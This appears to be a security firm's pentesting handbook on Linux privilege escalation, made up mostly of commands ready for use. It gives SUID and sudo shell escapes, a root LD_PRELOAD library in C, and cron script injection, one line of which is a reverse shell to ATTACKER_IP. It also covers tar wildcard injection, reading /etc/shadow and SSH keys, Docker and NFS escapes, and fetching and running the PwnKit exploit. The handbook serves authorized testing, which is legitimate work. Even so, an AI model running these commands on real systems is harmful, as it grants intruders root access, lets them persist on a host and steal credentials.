Linux Privilege Escalation: A Pentester's Complete Handbook

You've got a shell. Now what? This comprehensive guide covers every major Linux privilege escalation technique—from quick wins to kernel exploits.

Privilege escalation is the critical phase between initial access and full system compromise. You've exploited a vulnerability, landed a shell as www-data or a low-privileged user, and now you need root. This guide covers the techniques that work in real engagements.

We'll progress from quick enumeration to specific attack vectors, each with practical commands you can use immediately.

Authorization Required

These techniques should only be used on systems you own or have explicit written authorization to test. Unauthorized access to computer systems is a criminal offense.

Phase 1: Initial Enumeration

Before attempting specific exploits, gather information about the system. This enumeration reveals what's possible.

System Information

Basic System Enumeration
# OS and kernel version (critical for kernel exploits) uname -a cat /etc/os-release cat /proc/version # Architecture uname -m arch # Hostname and network hostname cat /etc/hosts ip addr ip route # Running processes ps aux ps aux | grep root # Installed packages (varies by distro) dpkg -l # Debian/Ubuntu rpm -qa # RHEL/CentOS pacman -Q # Arch

User and Group Enumeration

User Enumeration
# Current user context id whoami # All users cat /etc/passwd # Users with login shells cat /etc/passwd | grep -v nologin | grep -v false # Groups cat /etc/group # Sudo privileges (if accessible) sudo -l # Users in interesting groups getent group sudo getent group docker getent group lxd getent group disk

Quick Wins Checklist

Quick Enumeration Script
# SUID binaries (often exploitable) find / -perm -4000 -type f 2>/dev/null # SGID binaries find / -perm -2000 -type f 2>/dev/null # World-writable files find / -writable -type f 2>/dev/null # World-writable directories find / -writable -type d 2>/dev/null # Capabilities getcap -r / 2>/dev/null # Cron jobs cat /etc/crontab ls -la /etc/cron.* cat /var/spool/cron/crontabs/* 2>/dev/null # SSH keys find / -name "id_rsa" 2>/dev/null find / -name "authorized_keys" 2>/dev/null # History files cat ~/.bash_history cat ~/.zsh_history # Config files with credentials find / -name "*.conf" -exec grep -l "password" {} \; 2>/dev/null find / -name "*.php" -exec grep -l "password" {} \; 2>/dev/null
Automated Enumeration Tools

While manual enumeration teaches you what to look for, automated tools are faster in real engagements: LinPEAS, LinEnum, linux-exploit-suggester. Upload them to /tmp or /dev/shm, make executable, and run. Review output carefully—they often flag things you'd miss manually.

SUID Binary Exploitation

SUID (Set User ID) binaries run with the permissions of the file owner, not the user executing them. When a binary owned by root has the SUID bit set, it runs as root regardless of who executes it. Misconfigured SUID binaries are one of the most common privesc vectors.

Finding SUID Binaries

Find SUID Binaries
# Find all SUID binaries find / -perm -4000 -type f 2>/dev/null # Example output: /usr/bin/sudo /usr/bin/passwd /usr/bin/chsh /usr/bin/newgrp /usr/bin/pkexec /usr/bin/find # POTENTIALLY EXPLOITABLE /usr/bin/vim # POTENTIALLY EXPLOITABLE /usr/bin/nmap # POTENTIALLY EXPLOITABLE (older versions) /opt/custom-backup # CUSTOM BINARY - INVESTIGATE

GTFOBins: The SUID Bible

GTFOBins (gtfobins.github.io) documents how common Unix binaries can be abused. When you find an unexpected SUID binary, check GTFOBins first.

Common SUID Exploits
# === find === # If /usr/bin/find has SUID: find . -exec /bin/sh -p \; -quit # === vim === # If /usr/bin/vim has SUID: vim -c ':!/bin/sh' # === python === # If python has SUID: python -c 'import os; os.execl("/bin/sh", "sh", "-p")' # === bash === # If bash has SUID (with -p to preserve privileges): bash -p # === less === # If less has SUID: less /etc/passwd !/bin/sh # === nmap (old interactive mode) === # If nmap version < 5.21 has SUID: nmap --interactive !sh # === cp === # If cp has SUID, overwrite /etc/passwd: # 1. Generate password hash openssl passwd -1 -salt xyz password123 # 2. Create modified passwd with root user echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' > /tmp/passwd # 3. Copy over original cp /tmp/passwd /etc/passwd

Custom SUID Binaries

Custom binaries are often vulnerable. Analyze them for:

  • Calls to system() or popen() with user input
  • Relative path commands (path injection)
  • Missing input validation
  • Shared library injection (LD_PRELOAD, but usually blocked for SUID)
Analyzing Custom SUID Binaries
# Check what the binary does strings /opt/custom-backup # Look for system calls, paths, commands strings /opt/custom-backup | grep -E "(system|exec|/bin|/usr)" # Trace system calls ltrace /opt/custom-backup strace /opt/custom-backup # Disassemble if needed objdump -d /opt/custom-backup | less

Sudo Misconfigurations

sudo allows users to run commands as root (or other users) based on /etc/sudoers configuration. Misconfigurations here are extremely common and often lead directly to root.

Checking Sudo Privileges

Enumerate Sudo Rights
# List sudo privileges for current user sudo -l # Example output: User www-data may run the following commands: (root) NOPASSWD: /usr/bin/vim (ALL) NOPASSWD: /usr/bin/find (root) /usr/bin/less /var/log/*

Exploiting Sudo Rights

Common Sudo Exploits
# === vim === sudo vim -c ':!/bin/bash' # === find === sudo find . -exec /bin/bash \; -quit # === less === sudo less /var/log/syslog !/bin/bash # === awk === sudo awk 'BEGIN {system("/bin/bash")}' # === perl === sudo perl -e 'exec "/bin/bash";' # === python === sudo python -c 'import pty; pty.spawn("/bin/bash")' # === ruby === sudo ruby -e 'exec "/bin/bash"' # === man === sudo man man !/bin/bash # === env === sudo env /bin/bash # === ftp === sudo ftp !/bin/bash # === socat === sudo socat stdin exec:/bin/bash

Sudo Path Wildcards

Wildcard characters in sudo rules can be exploited:

Wildcard Exploitation
# If sudoers contains: # user ALL=(root) NOPASSWD: /usr/bin/cat /var/log/* # You can traverse paths: sudo /usr/bin/cat /var/log/../../etc/shadow # If sudoers contains: # user ALL=(root) NOPASSWD: /opt/scripts/*.sh # Create a malicious script and run it: echo '/bin/bash' > /tmp/shell.sh sudo /opt/scripts/../../../tmp/shell.sh

LD_PRELOAD Exploitation

If sudo preserves LD_PRELOAD (rare but devastating when present):

LD_PRELOAD Attack
# Check if env_keep includes LD_PRELOAD sudo -l # Matching Defaults entries: # env_keep += LD_PRELOAD # If present, create malicious shared library: cat > /tmp/shell.c << 'EOF' #include <stdio.h> #include <stdlib.h> #include <unistd.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash -p"); } EOF # Compile gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c # Execute with LD_PRELOAD sudo LD_PRELOAD=/tmp/shell.so /usr/bin/find

Capabilities Exploitation

Linux capabilities break down root privileges into distinct units. Instead of full root, a binary can have specific capabilities. Some capabilities enable privilege escalation.

Finding Capabilities
# List all files with capabilities getcap -r / 2>/dev/null # Dangerous capabilities: # cap_setuid - Can change UID # cap_setgid - Can change GID # cap_dac_override - Bypass file permission checks # cap_dac_read_search - Bypass read/execute permission checks # cap_net_bind_service - Bind to privileged ports (not usually privesc) # cap_sys_admin - Mount filesystems, many kernel functions # cap_sys_ptrace - Trace/debug processes
Capability Exploitation
# === Python with cap_setuid === # If: /usr/bin/python3 = cap_setuid+ep /usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' # === Perl with cap_setuid === perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";' # === vim with cap_dac_override === # Can write to any file - modify /etc/passwd or /etc/shadow # === tar with cap_dac_read_search === # Can read any file tar -cvf /tmp/shadow.tar /etc/shadow tar -xvf /tmp/shadow.tar

Cron Job Exploitation

Cron jobs run scheduled commands, often as root. If you can modify what a cron job executes, you can escalate privileges.

Finding Cron Jobs

Enumerate Cron
# System-wide crontab cat /etc/crontab # Cron directories ls -la /etc/cron.d/ ls -la /etc/cron.daily/ ls -la /etc/cron.hourly/ ls -la /etc/cron.weekly/ ls -la /etc/cron.monthly/ # User crontabs cat /var/spool/cron/crontabs/* 2>/dev/null # Systemd timers (modern alternative to cron) systemctl list-timers --all

Writable Script Exploitation

Exploiting Writable Cron Scripts
# If cron runs /opt/scripts/backup.sh as root # And you can write to /opt/scripts/backup.sh: # Option 1: Reverse shell echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/scripts/backup.sh # Option 2: SUID bash echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /opt/scripts/backup.sh # After cron runs: /tmp/rootbash -p # Option 3: Add user to sudoers echo 'echo "www-data ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' >> /opt/scripts/backup.sh

PATH Hijacking

If a cron job calls a command without its full path, and you can modify the PATH or write to a directory in PATH:

Cron PATH Hijacking
# /etc/crontab contains: # PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin # * * * * * root backup # If /home/user is writable and "backup" is called without full path: echo '#!/bin/bash cp /bin/bash /tmp/rootbash chmod +s /tmp/rootbash' > /home/user/backup chmod +x /home/user/backup # Wait for cron, then: /tmp/rootbash -p

Wildcard Injection

Some commands interpret filenames as arguments. If a cron job uses wildcards in a directory you control:

Tar Wildcard Injection
# If cron runs: tar -czf /backup/backup.tar.gz /var/www/* # And you control /var/www: # Create files that tar interprets as arguments cd /var/www echo "" > "--checkpoint=1" echo "" > "--checkpoint-action=exec=sh shell.sh" echo '#!/bin/bash\ncp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > shell.sh # When tar runs with *, it expands to: # tar -czf /backup/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh file1 file2 ... # Wait for cron, then: /tmp/rootbash -p

Kernel Exploits

When other techniques fail, kernel exploits can provide root access by exploiting vulnerabilities in the Linux kernel itself. These are riskier—they can crash systems—but often work when nothing else does.

Identifying Kernel Version

Kernel Information
# Kernel version uname -r # Example: 4.15.0-112-generic # Full system info uname -a # Linux victim 4.15.0-112-generic #113-Ubuntu SMP x86_64 GNU/Linux # Distribution info cat /etc/os-release cat /etc/issue

Finding Kernel Exploits

Exploit Suggesters
# linux-exploit-suggester ./linux-exploit-suggester.sh # linux-exploit-suggester-2 (Python) python linux-exploit-suggester-2.py # searchsploit searchsploit linux kernel 4.15 privilege escalation

Notable Kernel Exploits

CVE Name Affected Kernels
CVE-2021-4034 PwnKit (pkexec) Most distros 2009-2022
CVE-2022-0847 Dirty Pipe 5.8 - 5.16.11
CVE-2021-3156 Baron Samedit (sudo) sudo 1.8.2 - 1.9.5p1
CVE-2016-5195 Dirty COW 2.6.22 - 4.8.3
CVE-2017-16995 eBPF 4.4 - 4.14
CVE-2019-13272 PTRACE_TRACEME < 5.1.17
PwnKit (CVE-2021-4034)
# Check if vulnerable ls -la /usr/bin/pkexec # Compile exploit curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit chmod +x PwnKit ./PwnKit
Kernel Exploit Risks

Kernel exploits can crash systems or leave them in an unstable state. In production environments, get explicit approval and have rollback plans. Always test exploits in a lab environment matching the target kernel version before using on real targets.

Docker and Container Escapes

If you're inside a container, escaping to the host is the privilege escalation. If you're on a host and can access Docker, you can often get root.

Docker Group Membership

Docker to Root
# Check if user is in docker group id # uid=1000(user) gid=1000(user) groups=1000(user),998(docker) # Docker group = root equivalent # Mount host filesystem into container docker run -v /:/mnt --rm -it alpine chroot /mnt sh # Or run a privileged container docker run --rm -it --privileged --net=host -v /:/mnt alpine # Inside container, you're root on the host filesystem cat /mnt/etc/shadow echo 'hacker:x:0:0:root:/root:/bin/bash' >> /mnt/etc/passwd

Exposed Docker Socket

Docker Socket Exploitation
# If /var/run/docker.sock is accessible: ls -la /var/run/docker.sock # Use curl to interact with Docker API curl -s --unix-socket /var/run/docker.sock http://localhost/images/json # Create privileged container via API curl -s -X POST --unix-socket /var/run/docker.sock \ -H "Content-Type: application/json" \ -d '{"Image":"alpine","Cmd":["/bin/sh"],"Privileged":true,"HostConfig":{"Binds":["/:/mnt"]}}' \ http://localhost/containers/create

NFS Misconfigurations

NFS (Network File System) shares with improper configuration can enable privilege escalation.

NFS Exploitation
# Check for NFS shares showmount -e TARGET_IP cat /etc/exports # Look for no_root_squash option # This means root on client = root on server # On attacker machine (as root): mkdir /tmp/nfs mount -t nfs TARGET_IP:/share /tmp/nfs # Create SUID binary cp /bin/bash /tmp/nfs/rootbash chmod +s /tmp/nfs/rootbash # On target: /share/rootbash -p

Sensitive File Access

Sometimes you don't need a full exploit—just access to the right file.

Hunting Sensitive Files
# SSH keys find / -name "id_rsa" 2>/dev/null find / -name "id_ecdsa" 2>/dev/null cat /root/.ssh/id_rsa # Password files cat /etc/shadow # If readable, crack hashes cat /etc/passwd # Check for password hashes in field 2 # Application credentials find / -name "*.conf" -exec grep -l -i "password" {} \; 2>/dev/null find / -name "wp-config.php" 2>/dev/null cat /var/www/*/wp-config.php # History files cat /home/*/.bash_history cat /root/.bash_history # Environment variables cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i pass

Automated Enumeration Scripts

For efficiency, use these scripts but understand what they're checking:

Enumeration Tools
# LinPEAS (most comprehensive) curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh # LinEnum ./LinEnum.sh -t # linux-exploit-suggester ./linux-exploit-suggester.sh # pspy (monitor processes without root) ./pspy64

Methodology Summary

  1. Situational awareness: Who am I? What system is this? What's unusual?
  2. Quick wins: sudo -l, SUID binaries, readable sensitive files
  3. Deeper enumeration: Capabilities, cron jobs, NFS, Docker
  4. Credential hunting: History files, config files, environment variables
  5. Kernel exploits: Last resort, check version and use exploit suggester

The key is systematic enumeration. Most privilege escalation isn't about exotic exploits—it's about finding the one misconfiguration in a sea of properly configured settings.

For professional penetration testing that identifies privilege escalation paths in your environment, contact Brickell Technologies.

Tools & Resources
Linux Privilege Escalation Penetration Testing Red Team Post-Exploitation